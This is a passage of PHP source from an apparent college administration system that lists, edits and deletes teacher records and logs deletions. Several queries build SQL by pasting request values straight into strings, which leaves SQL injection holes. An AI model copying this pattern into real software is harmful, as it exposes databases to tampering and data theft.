' Mon.') as FEXP,FSTATUS,FLOGDATE from masteach st where FCOLLCODE='{$college_code}' {$cond}"; $display_obj->DisplayDetailsInGrid(); } function EditTeachertDetailsForUpdate() { $this->internal_code = trim($this->aobj_context->mobj_data["internal_code"]); $get_data = "select FTEACHCODE, FTITLE,FTEACHNAME, FGENDER, FQUAL, FDEGNCODE, DATE_FORMAT(s.FDOB,'%Y') as FDOB_Year, DATE_FORMAT(s.FDOB,'%b') as FDOB_month, DATE_FORMAT(s.FDOB,'%d') as FDOB_date, DATE_FORMAT(s.FDOA,'%Y') as FDOA_Year, DATE_FORMAT(s.FDOA,'%b') as FDOA_month, DATE_FORMAT(s.FDOA,'%d') as FDOA_date, DATE_FORMAT(s.FDOC,'%Y') as FDOC_Year, DATE_FORMAT(s.FDOC,'%b') as FDOC_month, DATE_FORMAT(s.FDOC,'%d') as FDOC_date, DATE_FORMAT(s.FDOJUGC,'%Y') as FDOJUGC_Year, DATE_FORMAT(s.FDOJUGC,'%b') as FDOJUGC_month, DATE_FORMAT(s.FDOJUGC,'%d') as FDOJUGC_date, FSCALE, FFULLTIME, FPERMANENT, FADDR1, FADDR2, FADDR3, FADDR4, FPHONE, FMOBILE, FEMAIL, FMEMBER, FPHOTO,FSTATUS,FIFSCCODE,FBANKNAME,FPANNO,FACCNO,FAADHARNO, FREMARKS, FVALELIG,FDEGGRP,FBOARD from masteach s where internal_code='{$this->internal_code}'"; // var_dump($get_data); $lobj_get_data = $this->aobj_context->mobj_db->GetRow($get_data); $res['masteach'] = $lobj_get_data; $teachcode = $lobj_get_data['FTEACHCODE']; // $query = "select t.fqpcode as el // from teachsub t where t.fteachcode = '{$teachcode}' // order by t.fqpcode"; // $result = $this->aobj_context->mobj_db->GetAll($query); $query = "select m.fexamno, ifnull(m.fboard,'') as fboard, t.fqpcode, m.fsubname, group_concat(distinct m.fdegree SEPARATOR ', ') as fdegrees from teachsub t inner join subject m on t.fqpcode = m.fqpcode where t.fteachcode = '{$teachcode}' group by t.fqpcode,t.fteachcode order by m.fexamno, t.fqpcode"; $result = $this->aobj_context->mobj_db->GetAll($query); $res['teachsub'] = $result; echo $this->aobj_context->mobj_output->ToJSONEnvelope($res, 0, "Success"); return; } } function AssignTeachDropDownMenus($aobj_context) { $class_obj = new teachers($aobj_context); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj->AssignTeachDropDownMenus(); } function getDegSubject($aobj_context) { $class_obj = new teachers($aobj_context); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj->getDegSubject(); } function SaveTeachersEntry($aobj_context) { $class_obj = new teachers($aobj_context); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj->SaveTeachersEntry(); } function ViewTeacherDetails($aobj_context) { $class_obj = new teachers($aobj_context); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj->ViewTeacherDetails(); } function EditTeachertDetailsForUpdate($aobj_context) { $class_obj = new teachers($aobj_context); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj->EditTeachertDetailsForUpdate(); } function DepartmentSubjectDropdown($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $departmentCode = $aobj_context->mobj_data['deptCode']; $get_data = "select fsubcode as code, fsubname as value from massub where fdeptcode = '{$departmentCode}'"; $lobj_get_data = $aobj_context->mobj_db->GetAll($get_data); $arr['deptSubj'] = $lobj_get_data; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); } function disableTeacherRecord($aobj_context) { include_once("/JSON.php"); $json = new Services_JSON(); $lstr_param = stripslashes($aobj_context->mobj_data["delete_arr"]); $mobj_jsondata = $json->decode($lstr_param); $delete_arr_data = get_object_vars($mobj_jsondata); for ($k = 0; $k < count($delete_arr_data); $k++) { $disable_teacher_record = "delete from masteach WHERE FTEACHCODE='{$delete_arr_data[$k]->teach_code}' and FTEACHNAME='{$delete_arr_data[$k]->tech_name}' and FCOLLCODE ='{$_SESSION['collcode']}'"; $lobj_rs = $aobj_context->mobj_db->Execute($disable_teacher_record); $univcode = $_SESSION['FUNIVCODE']; $mob = $_SESSION['FMOBILE']; $usr = $_SESSION['usr']; $remark = "TEA - Teacher details deleted - ".$delete_arr_data[$k]->teach_code; if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip_address = $_SERVER['HTTP_CLIENT_IP']; } else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_address = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_address = $_SERVER['REMOTE_ADDR']; } $query = "INSERT INTO logisys3_logs.daylog (funivcode, fdate, fip, fremarks, fcollcode, fenttype, fuser, fmobileno) VALUES ('{$univcode}', now(),'{$ip_address}', '{$remark}', '{$college_code}', 'TEA', '{$usr}', '{$mob}')"; $res = $aobj_context->mobj_db->Execute($query); } if ($lobj_rs) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_rs, 0, "success"); return; } else { echo $aobj_context->mobj_output->ToJSONEnvelope($delete_arr_data, -1, "Failure"); return; } }
Close